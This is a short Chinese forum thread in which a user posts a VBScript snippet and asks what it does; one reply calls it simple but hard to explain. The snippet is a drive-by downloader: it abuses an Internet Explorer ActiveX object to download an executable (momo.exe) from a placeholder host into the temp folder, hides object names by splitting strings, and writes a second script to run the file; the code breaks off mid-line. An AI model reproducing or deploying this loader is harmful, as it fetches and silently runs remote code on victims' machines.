有个VBScript代码不懂什么意思！请问有哪位高手能解释一下吗？
---------------------------VBScript
---------------------------
on error resume next
curl="http://xxx.xxx.xxx/momo.exe"
fname1="momo.exe"
fname2="momo.vbs"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
C1="Ado"
C2="db."
C3="str"
C4="eam"
str1=C1&C2&C3&C4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, curl, False
x.Send
s1="Script"
s2="ing."
s3="File"
s4="SystemObject"
s0=s1+s2+s3+s4
set F = df.createobject(s0,"")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
fname2= F.BuildPath(tmp,fname2)
Set ts = F.OpenTextFile(fname2, 2, True)
ts.WriteLine "Set Shell = CreateObject(""Wscript.Shell"")"
sql="Shell.Run("""+fname1+""")"
ts.WriteLine sql
ts.WriteLine "set Shell=Nothing"
ts.WriteLine "i=1"
ts.close
if F.FileExists(fname1)=true then
if F.FileExists(fname2)=true then
sha="Shell.App"
shb=sha
---------------------------
确定
---------------------------
http://xxx.xxx.xxx/ 很简单，不过不太好解释
页:
[1]